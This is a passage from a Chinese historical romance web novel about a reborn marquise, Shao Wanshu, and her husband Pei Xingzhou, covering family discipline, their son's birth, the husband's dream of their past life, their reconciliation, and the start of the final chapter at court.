裴明英站在这里着实尴尬,她想了想,看了邵婉淑一眼,问道:“大哥是不是因为他曾和大嫂议过亲,所以对这门亲事不满?” 邵婉淑的眉微微挑了一下,这个裴明英真是一点记性都不长,这种话也能说得出来。 裴行舟脸色一变,抬眸看向裴明英。 “再让我听到这样的话你就回族里去。” 裴明英心里委屈极了。她不过是想嫁给喜欢的人,大哥竟然狠心要将她送走。 “大嫂当初不过是礼部侍郎府的姑娘,她都能同邹三郎议亲。我是侯府嫡女,大哥又战功赫赫,为何就不能同他议亲了?” 裴行舟脸色一沉,扔了鱼竿。 邵婉淑看了裴行舟一眼,根据她对裴行舟的了解,他这是要发脾气了。作为妻子,看到丈夫和小姑子闹矛盾,她理应相劝,但她什么都没做,看了一眼后又收回了目光。不管裴明英是什么下场,都是她自找的。 裴明英憋屈了大半年了。自从姜老夫人离开京城她就感觉自己的日子不如从前了。这几个月一直伏低做小,处处听邵婉淑的,她实在是受不了了,积压许久的情绪在这一刻彻底爆发。 “是不是大嫂跟你说什么了?我可是你亲妹妹。你难道要相信一个外人,不相信自己的亲妹妹?” 裴行舟冷着脸道:“真以为我不知道你这几个月干了什么事?你大嫂怀着身孕,你即便是不能像温静一样帮她的忙,至少也别给她惹麻烦。” 裴明英愣了一下,有些心虚:“我……我何时给她找过麻烦?” 裴行舟对裴明英没什么耐心,他看向青云:“让信管家把她送回族里去,什么时候改了性子什么时候再回来。” 青云:“是。” 裴明英不敢相信自己的耳朵,没想到大哥竟然比大嫂还狠心。 “大哥,我做错了什么事,你为何要这样待我?我可是侯府的嫡女,是你的亲妹妹!二哥就从来不会这样待我!” “那你就回去找他吧。”裴行舟不耐烦听她在这里吵吵嚷嚷,抬了抬手。 青云命婆子将裴明英带走了。 邵婉淑也没大度地劝说什么。 这几个月裴明英的确有些不像话,时常出去玩,有时一去就是一整日,她还得安排人跟着她。后来被她发现后还来跟她闹过一次,她后面直接就不见她了。但每日还是让人跟着她。不管她如何讨厌裴明英,但她是裴行舟的妹妹,她得保证她的安全,免得丢了侯府的脸。 裴明英走了她也能素净些。 等裴明英被带走,裴行舟突然问了一句:“夫人梦里明英做了什么事?” 邵婉淑:“侯爷为何这么问?” 裴行舟:“夫人对温静似乎不会这般。” 邵婉淑的确不喜欢这两个妹妹,但这种不喜欢又有些区别。对于裴温静,她更多的是觉得这个人不识好心人,没救了。但对于裴明英,那就是彻彻底底的厌恶。 “侯爷死后她特别伤心愤怒,说我是不祥之人,是我克死的侯爷,让我去死。” 虽然明英是他的亲妹妹,但这个妹妹素日里对他只有畏惧,从来不跟他亲近。她跟二弟的关系更好一些。她这样的人会为了他的死那么伤心?最有可能是和裴行凛串通好了,想要逼死夫人。 裴行舟突然觉得对裴明英罚得有些轻了,见青云回来了,补了一句:“去跟信管家说,没有我的允许这辈子都不许她再回京。” 青云有些惊讶,刚刚侯爷的意思明显是让二姑娘在族里待几个月就回来,现在的意思却是不让二姑娘回来了。 他什么都没问,执行裴行舟的命令。 “是。” 邵婉淑看向裴行舟。 裴行舟:“嗯?” 邵婉淑笑了,声音轻柔地说道:“我突然觉得自己有做妖妃的潜力。” 方才她三两句话就让裴行舟改了主意,裴明英回京之日遥遥无期,命运也将因此而发生改变。 裴行舟面色变得严肃,认真思索了一下,道:“夫人还差点意思。” 邵婉淑只是想开个玩笑,没想到裴行舟还认真起来了,他竟然敢小瞧她,说她做不了妖妃。 “我哪里差了?我相貌不差,还有几分才华。” 裴行舟:“嗯,夫人长得是极好的,才华横溢。” 夸完,他顿了顿,又道:“只是,妖妃会取悦君主,夫人从来不会讨好我。” 闻言,邵婉淑先是一怔,然后噗嗤一声笑了出来,原来裴行舟是存的这样的心思。 “你是不是对一个孕妇要求太高了?” 裴行舟:“那就等夫人生了孩子再看。” 邵婉淑抬手捶了裴行舟一下:“侯爷真是越发没规矩了。” 裴行舟顺势握住了邵婉淑的手,道:“规矩是死的,人是活的。” 跟那些从小在侯府长大的公子哥不同,裴行舟小时候是在外面长大的,没那么多规矩。回到侯府后,处处都有人让他讲规矩,他烦不胜烦。虽然还是老老实实学了,但心里多少有些不屑。 如今府里没了旁人,只有他们夫妻二人,他便没那么多的束缚了。 邵婉淑很喜欢这句话,前世她便是被规矩束缚死了。 她认真地重复了一遍:“对,规矩是死的,人是活的。” 看着邵婉淑眼底的情绪变化,裴行舟猜到她在想什么,将她揽入了怀中,轻轻摸了摸她的头。 “以后,这府里的规矩就是夫人,夫人想做什么就做什么,不用顾忌任何人。” 闻言,邵婉淑笑了:“好。” 第 70 章 裴行舟梦到了前世。…… 邵婉淑没想到裴行舟竟然能在家里陪她那么久。 这半个月裴行舟一直在家里, 很少出门。府里倒是来了许多客人,不过他们都去了前院,邵婉淑并没有见到。 裴行舟在家歇了半个月邵婉淑都没有生产, 他又继续告假了。太子以为他打仗出了什么事,来了一趟定南侯府。 见裴行舟不仅精神极好, 还胖了些, 着实有些意外。 “孤听闻你跟兵部告假说要继续在家休养,原以为是个借口,没想到是真的在休养。” 裴行舟看了一眼不远处正在散步的邵婉淑,眼里十分温柔。 “嗯, 这些年有些累了,想歇一歇。” 之前他一直在战场上, 后来又在京城帮着大皇子跟二皇子和三皇子那边的人斗, 再后来大皇子成了储君,他又去了战场了,一直没能好好歇着。 太子顺着裴行舟的目光看了过去,笑着说:“没想到咱们的冷面将军定南侯也有这样的柔情的一面。” 裴行舟:“她怀孕这几个月我没能陪在她身边,对她亏欠良多,想趁着这个机会好好弥补。” 太子对邵婉淑的印象极好, 他知道在扳倒二皇子这件事上邵婉淑出了不少力,也知道她从未背叛过裴行舟, 一直试图缓和他们和三弟那边的关系。如今他能和贤贵妃能有这样和平的关系, 她出了不少力。 “罢了, 侯夫人快生产了,宫里的贵妃娘娘也十分担心,你且再陪上一些时日吧。若有什么事孤让人来跟你说。” 裴行舟:“这几个月多谢殿下对夫人的照拂。” 太子:“客气什么,你在外打仗, 总不能还让你担心家里吧?” 裴行舟:“多谢殿下。” 又过了三日,孩子终于出生了。 看着稳婆手中的孩子,邵婉淑发现自己此刻已经不再关心孩子究竟是男孩还是女孩了,她只要他平安健康就好。 在听到是儿子的那一瞬,裴行舟微微一怔,又恢复如常。 这一晚,裴行舟做了一个梦,梦到了很多人,很多事。人还是那些人,事情却发生了改变。他没有跟任何人说,但看向邵婉淑的目光有些奇怪,他常常盯着邵婉淑看许久,一言不发。 孩子出生三日后,裴行舟又去上朝了。 不过,他现在不似从前那么忙了,每日回府后都直接来内宅看看邵婉淑和孩子。 他看邵婉淑的目光总是有几分探究的意思,试图从她的脸上看出来她对他的真实态度。 孩子小小的一个,白白胖胖,安安静静的,总是拿一双圆溜溜的眼睛看他。看着看着,裴行舟感觉自己的心越发柔软了。 裴家族里很快就收到了邵婉淑生了儿子的消息。裴行舟是定南侯,不出意外的话,他的嫡长子将会继承爵位,三老太爷准备安排人进京道贺。 姜老夫人见二儿子的伤已经养好,女儿也在日日埋怨族里生活,为了儿女的前程,她找上了三老太爷。 “这次进京带上行凛和明英吧,他们大嫂生了儿子,他们俩也该去道贺。” 三老太爷端茶的手顿了一下。 三老夫人那日并不在定南侯府中,所以不知道这些人和裴行舟的恩怨,她看向了三老太爷。 三老太爷:“他们二人毕竟是行舟送来的,这件事我不能做主,我得写信问问行舟的意思。” 他并没有直接答应,也没有拒绝。 姜老夫人想到长子的性子,微微皱眉,道:“你是族长,族里的人都听你的,你若是答应了,行舟也说不出来什么。” 三老太爷放下茶杯,看向姜老夫人。她这是想把责任都推到他的身上。于是,接下来的话说的重了些:“整个裴家都要靠着行舟,我若自作主张,惹了行舟不快,裴家族里都要跟着遭殃。嫂子从前也是个明白人,怎么在儿女一事上这么糊涂。你有这功夫不如好好教育教育自己的孩子,让他们少给行舟添乱。” 姜老夫人何曾听过这么重的话,她脸上挂不住,起身离开了。 待她走后,三老夫人看向丈夫,道:“她即便是来了族里,但好歹也是行舟的母亲,有诰命在身的,你以后说话注意些。” 三老太爷:“我已经说的很客气了,你是不知道他们之前干了什么混账事儿。” 这些毕竟是裴家的家丑,三老太爷不愿同旁人说。 “总之一句话,他们谁都别想离开裴家。若让他们走了,说不定出去惹了祸事,整个裴家都要跟着陪葬。” 三老夫人想到了前些日子大皇子册封太子一事,小声问道:“跟皇位有关?” 三老太爷点了点头。 三老夫人顿时不敢再多说。 姜老夫人还没回到宅子里,就听到了里面传来的吵闹声。 裴行凛:“裴明英,你整日在哪里干什么呢,吵吵嚷嚷的,不愿待在这里你就滚。” 裴明英:“你以为我想待在这里?我会有今日还不是因为你!” 原本疼爱她的二哥如今竟然变成这副鬼样子,看她哪哪都不顺眼。 裴行凛:“因为我?少在哪里给自己表功了。你若是因为我那日就跟母亲一起回族里了。你过了这么久才回来定是因为你干了别的事儿惹了裴行舟。” 杜氏最了解裴明英,她多少猜到了些,道:“是因为邹三郎吧。” 裴明英被人看透了心思,脸色一变。 “才不是因为他!” 裴行凛:“蠢货!” 裴明英听到二哥骂她,眼泪一下子掉了下来。亏她从前处处帮着二哥,没想到二哥竟然这样骂她。 “你以后别想再让我帮你。” 裴行凛:“说的好像你想帮能帮得了似的。” 姜老夫人闭了闭眼,族长的话虽然难听,但说的却是事实,是她没能教育好孩子,可如今为时已晚。 一个月后,邵婉淑出了月子。 阿梨:“没想到大姑娘还挺厉害的,这一月她忙前忙后的,做的特别好。” 阿桔:“从前她上头有老夫人和二姑娘,她哪里敢展示自己,眼下也是夫人给了她机会,她才能展示出来。” 阿梨:“我瞧着今日酒席上有些夫人话里的意思是觉得大姑娘这门亲事低了,想重新给她说一门亲事呢。” 阿桔:“我也听到了几句,听说崔家很是后悔呢,觉得之前有些怠慢了大姑娘。” 邵婉淑哄着怀里的孩子,问道:“大姑娘是什么反应?” 阿梨:“大姑娘拒绝了,还跟那位夫人说了自己丈夫的职位及婚期。” 邵婉淑:“嗯,还算是个明白人。” 不一会儿,裴温静过来了,跟邵婉淑说了说今日宴席上的事情。 邵婉淑直接把刚刚听说的事情问了出来:“我听说有些夫人和姑娘觉得你低嫁了,你如何想的?” 裴温静:“大嫂,我绝没有这个意思。” 邵婉淑:“你别多想,我没有别的意思。这句话只说一次,只要你不想嫁,我立马去凌家退了这门亲事,绝对不会让人说出来你的不是。再另为你寻一门家世门第更好的亲事。你不必急着回答,想好了再说。免得你将来后悔今日的选择。” 她不想将来裴温静埋怨她,觉得她为她说的这门亲事太差。 裴温静:“不用想了。我只要这门亲事,不管以后如何,绝不后悔。” 她受够了在嫡母手下讨生活,这些日子没人管着,她觉得整个人真正活了过来。若是真的嫁入崔家,又或者其他高门大户,她绝对不可能有这样的好日子。但在凌家,她可以的。 邵婉淑:“确定了?” 裴温静:“确定了,我想要当家做主,不想再受制于人。” 邵婉淑懂了裴温静的意思。 “好,我明白了。我如今出了月子,府里的事情不用你操心了,你好好准备婚事吧。若有需要的就来跟我说。” 裴温静:“是,多谢大嫂。” 虽然出了月子,但邵婉淑并没有急着出门应酬,她还在府中养身体。等到孩子三个月了,裴温静出嫁她才开始应酬。 看着邵婉淑为她准备的三十二台嫁妆,眼泪夺眶而出。 她是庶出的,生母是个丫鬟,什么都没留下。这些嫁妆都是侯府的东西。邵婉淑可以选择不给她。 “你是定南侯府的姑娘,总不能让人看了笑话,这一年也辛苦你了。” 裴温静跪下给邵婉淑重重磕了三个头。 要说邵婉淑有多么喜欢裴温静,那也没有。她为她准备嫁妆,更多是为了感谢她在裴行舟不在的日子里撑起了侯府的脸面。事实证明,裴温静也有可取之处,是知恩图报的。 如今她有了儿子,也得为儿子的将来考虑了。 裴温静自然是想跟邵婉淑搞好关系的,她以后都得靠着侯府撑腰,有侯府这个强大的娘家,她在婆家的地位才能稳固。 送走了裴温静,定南侯府越发安静了。 晚上,裴行舟从外面回来了,邵婉淑闻到了一丝酒味儿。 邵婉淑:“侯爷喝酒了?” 裴行舟:“嗯,喝了几杯。” 今日裴温静出嫁,虽然新郎只是个普通的进士,可裴温静是裴行舟的妹妹,这个分量可不轻。除了同科的进士,不少人看在定南侯府的面子上来了酒席上,酒席上十分热闹。 因为孩子在家里,所以下午宾客散了邵婉淑就回来了。 男席那边还没散,裴行舟留在酒席上吃酒。 邵婉淑倒是没想到裴行舟竟然这般给面子,留到这么晚才回来。 邵婉淑让人给裴行舟煮了醒酒汤。 阿桔端过来后就出去了。 邵婉淑:“侯爷,起来喝醒酒汤了。” 裴行舟闭着眼躺在榻上,一动不动,似是睡着了。 邵婉淑碰了碰他的胳膊:“侯爷?” 裴行舟醒了过来,一双眼直直地盯着邵婉淑,眼神复杂,似是有许多话要说一般。 邵婉淑:“侯爷想说什么?” 裴行舟依旧没有回答,只是看着邵婉淑。 邵婉淑见他不说,端起了醒酒汤,递给了裴行舟。 裴行舟不动。 邵婉淑又往前送了送,直到把碗递到了裴行舟唇边,他才张开了嘴。 邵婉淑:…… 这是想让她喂? 他喝多了怎么跟个孩子似的? 邵婉淑像哄儿子一样将醒酒汤喂完了。 她刚把碗放在桌子上,手腕就被裴行舟握住了。 邵婉淑看向裴行舟。 裴行舟:“夫人就这么讨厌我吗?” 邵婉淑愣住了,裴行舟为何突然说这种话。 “我不讨厌侯爷。” 裴行舟:“为何不让我碰?” 邵婉淑听懂了他的意思后,脸瞬间就红了起来。仔细算算,他们已经一年没有同房了。 “这不是刚生了孩子么。” 裴行舟:“我问过太医了,两个月就可以了。” 邵婉淑:“你拿这种事问太医?” 裴行舟:“太医的嘴严,不会往外说的。” 邵婉淑也没不让裴行舟碰,前几次恰好孩子哭了她就推开了他。等她哄完孩子回来,他要么睡了,要么没再继续。有了那么两次后,裴行舟就没再有任何的举动了。 裴行舟不行动,这种事总不能她主动吧? 裴行舟:“你果然只想生个儿子。” 邵婉淑:…… 这个问题她已经解释过很多遍了,都有些心累了,所以没再回答他。 裴行舟却不依不饶,握着邵婉淑的胳膊,想要一个答案。 “是不是被我说中了?” 因为她的确说过这样的话,所以怎么说都是邵婉淑理亏,她索性不在这个问题上跟裴行舟继续纠缠,直接解决问题。 说到底裴行舟不就是因为她最近拒绝过他几次他才有了这样的猜测,于是小声说了一句:“今晚可以。” 裴行舟有些头晕,没听清:“夫人说什么?” 邵婉淑红着脸又说了一遍:“我说今晚可以。” 裴行舟愣了一下,终于听清邵婉淑说了什么。他先是一怔,下一瞬,直接邵婉淑压在了榻上。 邵婉淑:…… 这也太急了吧。 她推了推他。 裴行舟立马冷了脸:“你刚刚在骗我。” 邵婉淑真的心累了,裴行舟最近怎么这么敏感。她只是轻轻退了他一下,他就指责她骗他。他从前可不会这样。 “我没有,先去洗漱吧。” 裴行舟想到了梦里的事情,她总是以各种理由推开他:“你还是不愿意。” 邵婉淑觉得自己无法跟一个醉鬼理论。 “好吧,我愿意。” 这话似乎又惹恼了裴行舟,他道:“你既然不愿意我也不愿勉强你。” 邵婉淑感受到了裴行舟的身体变化,见裴行舟一动不动,心想,你不愿勉强,你倒是起开啊,嘴里说不勉强身体却很诚实。 邵婉淑觉得裴行舟还是高冷些比较好,她抬手圈住了裴行舟的脖子,主动吻了上去。 裴行舟立即就回应了她,抬手托住邵婉淑的脖子,瞬间掌控了主动权。 两人许久没有亲热过,身体都颤了颤。 这时,邵婉淑听到了儿子的哭声,一把推开了裴行舟。 裴行舟怔怔地看向邵婉淑,拉着她的手腕不让她走。 “你干什么去?” 邵婉淑:“你没听到儿子哭了吗,去哄儿子啊。” 裴行舟:“我们何时有了儿子?” 邵婉淑:……他这是喝的假酒吧,连有个儿子的事情都给忘了。 “你儿子三个月了。” 裴行舟拧了拧眉,似是想起来了,又像是没想起来。 “有奶娘在,你不许去。” 说着又吻了上去。 邵婉淑挣扎了一下,见裴行舟不放开她,想着那屋里的确有奶娘,无奈之下,只好留下。她一边回应着裴行舟,一边听着儿子那边的动静。 这样子又让裴行舟不高兴了。他重重咬了邵婉淑的唇,迫使她看向他。 好在儿子哭了一会儿就不哭了,邵婉淑这才放心了。 裴行舟似乎在验证什么事一样,这一晚两人从榻上去了床上,又一同去沐浴,邵婉淑被折腾的一点力气都没了。 裴行舟看着在怀中沉沉睡去的人,不安的心终于落到了实处。《 》 第71章【VIP】 第 71 章 邵婉淑吃醋。 第二日一早, 裴行舟醒过来后看了看身侧。 自从有了儿子,邵婉淑每日都会早早起来去看儿子,但今天她没起来。 他凑过去亲了亲她的额头。 邵婉淑心里想着儿子, 醒了过来,问了一句:“什么时辰了?” 裴行舟:“时辰还早, 夫人再睡会儿吧。” 听到这话, 邵婉淑又放心地睡了过去。 这一觉就睡到了巳时才醒来。感受着身体的酸痛,心里骂了裴行舟几句。 想到裴行舟昨晚怪异的举止,她着实想不通他为何突然会这样。仔细一想,好像自从儿子出生后裴行舟就有些不对劲儿了。 说他对她冷淡吧, 他又日日回来,还回来得比从前早。说他对她喜欢吧, 他又没什么反应, 也不怎么跟她说话,只是喜欢看着她发呆,她着实想不通裴行舟为何会这样。 会不会是因为最近她的心思都放在儿子身上,裴行舟有些不高兴了? 等到他傍晚回来,邵婉淑一直盯着裴行舟看,丝毫看不出昨日的无赖模样, 他似乎又恢复了从前的样子。 “侯爷以后还是少吃些酒吧。” 裴行舟拿着筷子的手微微一顿。昨夜的事情,他醒来后全都记得。其实他昨晚并没有多少醉意, 很多话都是借着喝了酒说了出来。 “嗯 。” 吃过饭后, 裴行舟去一旁办公, 邵婉淑逗儿子玩。 裴行舟时不时看向他们母子。 邵婉淑:“是不是吵到你了,要不我把儿子抱旁边去?” 裴行舟:“没有,不用。” 一直到了亥时左右,孩子睡着了, 裴行舟和邵婉淑也去休息了。 熄灯了后,裴行舟什么都没说,直接贴了过来。二话不说就吻上了邵婉淑的唇,手也不老实地在邵婉淑身上游走。 两人许久没有亲热,昨夜虽然累,但感觉十分美好,邵婉淑也回应着裴行舟。 邵婉淑生了孩子后身形丰腴了许多,裴行舟有些食髓知味了,折腾了许久才停下来。 邵婉淑累得一动不动,靠在裴行舟怀中休息。 裴行舟抱着邵婉淑,抬手抚摸着她的背。 邵婉淑:“抱歉,前些日子有些忽略侯爷了。” 裴行舟亲了亲邵婉淑的额头。 “不是夫人的问题,是我自己的问题。” 邵婉淑:“发生了什么事?” 裴行舟:“前些日子我做了一个梦。” 邵婉淑:“梦到了什么?” 裴行舟:“梦到了我们两人,梦里的我们关系似乎并不太好。” 邵婉淑一怔,裴行舟莫不是梦到了前世? “如何不好的?” 裴行舟:“我们成亲一个月后,夫人从侍郎府回来,将我拒之门外,从那以后我们的关系越来越差。” 邵婉淑抿了抿唇。 裴行舟:“我不知道自己为何那么生气,明明是件小事,我却格外在意。还误会夫人探听侯府机密,没有发现阿梅是你父亲的人。我们因为管家和印子钱的事生了嫌隙。同样的事情,我们都做出了不同的选择。” 邵婉淑确定了,裴行舟果然梦到了前世。 裴行舟:“夫人,这是不是也是你的梦?” 邵婉淑没有回答。 裴行舟:“对不起,以前让你受了那么多委屈。” 邵婉淑的眼泪一下子就流下来了。 裴行舟的心一下子变得慌乱。 邵婉淑哽咽道:“也不是你一个人的问题,我也有问题。我虽然没有为父亲探听侯府的机密,但那时我心里想着娘家,处处为娘家着想,以娘家的利益为先,从来没想过侯府。” 重生后她反反复复想过前世的事情。因为今生做出了不同的选择,所以她的日子也跟从前不一样了。她越发觉得前世的事情并非是一个人的问题,她和裴行舟都有问题。 裴行舟不信她是一回事。但凡她早些看透父亲虚伪冷酷的本性,但凡她对裴行舟多一些信任,事情也不会走到这一步。 裴行舟抬手将邵婉淑的眼泪拭去,将邵婉淑圈入了怀中,抚摸着她的头发。 “是我的错,我没有及时察觉到夫人的为难。若我多关心夫人一些,对夫人更信任一些,知道你心底的挣扎,定不会让你受那么多的苦。” 邵婉淑哇的一声哭出了出来。那时父亲逼她,姑母逼她,裴行舟又疏远她,她一个人孤立无援,不知该如何办。她既不想背叛侯府,也不敢拒绝父亲。 这声音哭得裴行舟心里难受极了,他可真是个混蛋,前世那般待她。 哭了一阵后,邵婉淑看着裴行舟,哑声道:“你以后不许不理我,你若不理我,我也不理你了。” 裴行舟:“我怎么舍得不理你。” 看着裴行舟近在咫尺的唇,邵婉淑凑上去亲了一下。 “你若不理我,我就带着儿子离开你,反正我的嫁妆铺子已经在赚钱了,姑母也不会不管我的。” 裴行舟失笑:“侯府的产业如今都在夫人手中,夫人走的时候不如把侯府的钱都卷走。” 邵婉淑怔了一下,道:“你说得有道理,对,我把侯府的钱全都拿走,让你变成一个穷光蛋。” 裴行舟亲了亲邵婉淑:“好,这样我就有理由去找皇上告状了,让皇上为我评评理。” 邵婉淑:“有姑母在,皇上未必站你那边。” 裴行舟:“那我不管,夫人去哪,我就跟到哪里去。” 邵婉淑:“你无赖。” 裴行舟哑声道:“这就叫无赖了?夫人要不要见识一下什么叫真正的无赖?” 邵婉淑愣了一下,下一瞬裴行舟又吻了上来。 两人一切都说开了,邵婉淑感觉到前所未有的轻松,虽然身子有些疲惫,但却感受到了一丝莫名的轻松愉悦。 第二日一早,裴行舟神采奕奕地去上朝了,邵婉淑一直睡到巳时才醒过来。 早上醒来后,邵婉淑先去看了看儿子了,随后去处理侯府的事宜。 等处理完,儿子已经吃过东西睡着了。 她拿了一本书在一旁看了起来,看着看着,唇角带了一丝笑意。最近她和裴行舟的感情越来越好了,这种感觉真的很好。 也不知道裴行舟现在在做什么事,早朝结束了没有,他是去了兵部,还是去了大营中。 裴行舟正和太子议事,突然打了个喷嚏。 太子看了他一眼,关心地问:“侯爷病了?” 裴行舟:“多谢太子关心,臣没有生病,刚刚只是觉得鼻子有些痒。” 太子:“嗯。” 邵婉淑正想着裴行舟,这时阿桔从外面进来了。 “夫人,邹三郎的亲事定下来了。” 邵婉淑回过神来,看向阿桔:“定的是哪家的姑娘?” 阿桔:“崔家嫡出的六姑娘。” 邵婉淑微微一怔。前世邹三郎也是娶了崔家的姑娘,这一点倒是和前世没什么改变。但是,前世邹三郎娶的是崔家嫡出的二姑娘,而且在她和裴行舟成婚后没多久邹三郎就定亲了,今生他订婚的变成了六姑娘,还晚了一年。 “崔家的二姑娘呢,议亲了吗?” 阿桔看了一眼邵婉淑的脸色,道:“议亲了。” 邵婉淑随口问道:“定的是哪家?” 阿桔:“镇国将军的嫡长子。” 镇国将军府和定南侯府的关系不错,两家时常走动,邵婉淑经常见镇国将军夫人。他家长子她也见过两次,长得高大英俊,看起来性子也不错。 这两个人一文一武倒也相配。 见邵婉淑没再多问,阿桔在心里悄悄松了一口气。 邵婉淑的脑子里却突然冒出来一个念头。邹三郎曾经和她议过亲,裴行舟成亲的时候也不小了,他有没有和旁人议过亲呢? 这个念头刚冒出来,邵婉淑心里就觉得有些堵得慌,也有些慌乱。她怎么会突然想起来这样的一个问题。就算他曾经和旁人议过亲,那也是从前了,如今是她嫁给了裴行舟,她不该想这种事。 可有些事情一旦产生了念头,就很难再压下去了,这一日邵婉淑都在想这件事。 想到裴行舟可能跟旁人定过亲,跟那位姑娘有过亲密的举止,她心里就膈应得难受。等到晚上,她实在是没忍住,把阿桔叫了过来。 “你去查一下侯爷娶我之前和曾和旁人议过亲?” 阿桔想,该来的还是来了,她点了点头。 邵婉淑:“你知道?” 阿桔又点了点头。 邵婉淑:“是谁?” 阿桔:“就是夫人今日提过的崔家二姑娘。” 邵婉淑眼里闪过一丝惊讶,她竟然从未听说过此事。 “他二人何时议的亲事?我怎么没听人提起过。” 阿桔:“我也是听府里的老人说的。老侯爷当时病重,想要为侯爷说一门亲事,老夫人选的是崔家的二姑娘。后来侯爷回府,老侯爷去世了,侯爷又离开了,这件事就不了了之了。” 邵婉淑:“嗯,我知道了。” 晚上,裴行舟早早地回来了,他将儿子小心翼翼地抱在了怀中。 之前儿子太小,裴行舟都不太敢抱着他,如今他三个月了,裴行舟才敢试着抱了抱儿子。这一抱,就放不开了。儿子似乎也很喜欢被裴行舟抱,不哭也不闹,睁着一双大大的眼睛看着他。 抱了一会儿,裴行舟将儿子放在了榻上,逗他玩。 邵婉淑看着这一大一小相似的两张脸,心里一片柔软。纠结了一日的事情看起来很没有必要。 就在这时,裴行舟冷不丁地说道:“邹三郎的亲事定下来了。” 邵婉淑:…… 好吧,她不想提从前的事,可有人想计较。 也不知道裴行舟一个武将为何对这些事这般斤斤计较。 邵婉淑:“哦,是么,我听说崔家二姑娘的亲事也定下来了。” 裴行舟站起身来,看向了邵婉淑。他的眼睛紧紧盯着邵婉淑,邵婉淑都被他看的有些不好意思了,错开了眼。 裴行舟却不依不饶,走到了邵婉淑面前,俯下身子,问:“夫人是在吃醋吗?” 邵婉淑脸一红,反问:“侯爷方才是在吃醋吗?” 裴行舟毫不遮掩:“是。” 邵婉淑:……他倒是坦诚得很。 “侯爷没必要吃醋,我从未喜欢过邹三郎。” 裴行舟:“我知道。” 邵婉淑仰头看向裴行舟,心想你既然知道了为何还要吃醋。 裴行舟吻上了邵婉淑的唇。 看着邵婉淑眼里的水雾,被他亲得红肿的唇,裴行舟心里一热。他强压住,哑声解释:“当时父亲病重,想让我成亲,便和崔家议亲。后来父亲去世,我回了京城,跟母亲的关系越来越糟糕,我又离开了京城。再后来回京,便是贤贵妃让皇上为你我二人议亲。” 裴行舟顿了顿,抬手用拇指指腹按了按邵婉淑的唇,又道:“我从未见过崔家二姑娘,这件事也是后来从旁人的口中听说的。虽然我很高兴夫人为我吃醋,但这件事委实没必要。” 听了裴行舟的解释,邵婉淑心里很是欢喜,但嘴上还是说道:“谁吃醋了,我可没吃醋。” 裴行舟又吻了上去,吻得邵婉淑喘不上来气,拿拳头捶裴行舟的胸口,裴行舟这才放开了她。 邵婉淑喘息着,道:“好吧,我确实想了一日。” 裴行舟笑了。 邵婉淑见他得意的样子,又捶了他一下。 裴行舟的大掌紧紧握住了邵婉淑的拳头,俯身亲吻,这次的吻轻柔了许多。亲着亲着,两人变了位置,邵婉淑坐在了裴行舟的腿上。 突然,邵婉淑的眼角瞥到了什么,脸一红,抬手推了推裴行舟。 “儿子还在呢。” 裴行舟扬声道:“青云,把孩子抱走。” 说完,托起邵婉淑的身子,一边亲一边朝着里间的床上走去。 门外的青云:??? 他虽然几乎什么事都能干,可他不会抱孩子啊,小少爷那么小,他不敢抱啊! 他用求助的目光看向阿梨。 阿梨推开门进去,朝着榻上走去。耳边听到里间似乎有些动静,她快速瞥了一眼,又赶紧收回了目光,将躺在榻上玩儿的小公子抱走,快步出去了。《 》 第72章 大结局 第 72 章 大结局。 过了两日, 邵婉淑进宫去了。 她已经几个月没见贤贵妃了,如今已经开始应酬了,便先来了宫里。 她发现贤贵妃的脸色不太好看。 “姑母可是身子不适?” 贤贵妃:“阿祐不见了。” 邵婉淑大惊失色:“何时不见的, 怎么回事,可是遇到了坏人?” 贤贵妃看了一眼百合, 百合递给邵婉淑一封信。 “十日前不见的。” 邵婉淑接过了信, 看了看信上的内容,信上说他想去看看外面的山河,让皇上和贤贵妃不用担心,他会一个月给宫里写一封信。 邵婉淑松了一口气。虽说三皇子做的事有些出乎意料, 但又在预料之中。 “暗卫跟着吗?” 贤贵妃:“一开始被甩开了,昨日才找到他, 可他已经到了江南了。” 邵婉淑放心了:“姑母也不必太过担心, 三皇子年纪也不小了,身边又跟着暗卫,肯定是安全的。” 贤贵妃:“这件事一定是太子干的!阿祐哪有本事甩开暗卫,定是太子从中帮忙。他都被封为太子了,还是看不惯阿祐,想让他离京远远地, 好恶毒的心思。” 邵婉淑琢磨了一下,道:“我倒是觉得太子未必这样想的。三皇子从前就提过想出去看看, 说不定是他求的太子。” 贤贵妃:“别管是谁的主意, 太子就不该私自答应。” 邵婉淑:“可您和皇上疼爱三皇子, 若是跟你们说了你们就不答应了。” 贤贵妃:“我肯定不能答应,外面多危险啊,还是在宫里安全。” 邵婉淑:“如今皇上治下海清河晏,外面也没那么乱。” 贤贵妃:“哎, 我就是气他不跟我说一声,气太子帮着阿祐。” 邵婉淑想了想,道:“太子已经被立为储君,三皇子无法对他构成威胁。他帮着三皇子出逃,这件事一定会被皇上发现。他冒着被皇上怀疑用心的风险帮了三皇子,也是心疼三皇子这个弟弟。” 贤贵妃倒是没想过这一点,怔了怔。 邵婉淑:“因为是太子帮着三皇子出逃,所以太子一定会安排人保护好三皇子的,因为他知道如果三皇子在外面出了意外,他会落一个谋害弟弟的名声,这个储君的位置就坐不稳了。” 贤贵妃:“你倒是提醒我了。” 邵婉淑:“所以我觉得太子对三皇子没那么差,他们兄弟间的感情挺好的。以后太子会登基,三皇子跟他相处好了也能更安全些,姑母不如放手别管了,让太子管着这个弟弟。” 贤贵妃:“我哪能真的放心。” 邵婉淑:“我觉得您可以放心。如果太子真心对三皇子好,您就不用操心三皇子的将来了。而如果太子对三皇子不好,您就去皇上那里告他的状,皇上肯定站在您这边,太子还会被皇上罚。太子和三皇子亲近,怎么说都是对您有利。” 贤贵妃仔细琢磨了一下,道:“你说得好像还真有几分道理,我如今也是糊涂了,竟还不如你想得明白。” 邵婉淑:“姑母自然是比我明白的,您是关心则乱。” 门外的隆帝脸上露出了轻松的神色。他没让人通报,又悄悄离开了。 贤贵妃叹了叹气,道:“我如今还真没什么心思管阿祐了。” 邵婉淑没听懂贤贵妃的意思:“嗯?” 贤贵妃摸了摸肚子,脸上露出来尴尬的神情。 邵婉淑怔了怔,反应过来:“姑母这是有了?” 贤贵妃更加尴尬了,她一把年纪了,竟然又怀上了,点了点头:“嗯。” 邵婉淑很是欣喜:“多久了?” 贤贵妃:“四个多月了。” 邵婉淑:“恭喜姑母。” 贤贵妃:“哎,我都不好意思往外说。” 邵婉淑:“这有什么不能说的?” 贤贵妃:“我这一把年纪了又怀了孩子,说出去都觉得有些丢人。” 邵婉淑:“姑母想岔了,旁人不知多羡慕您呢,这说明皇上喜欢姑母,旁人知道了这一点更不敢怠慢您和三皇子。” 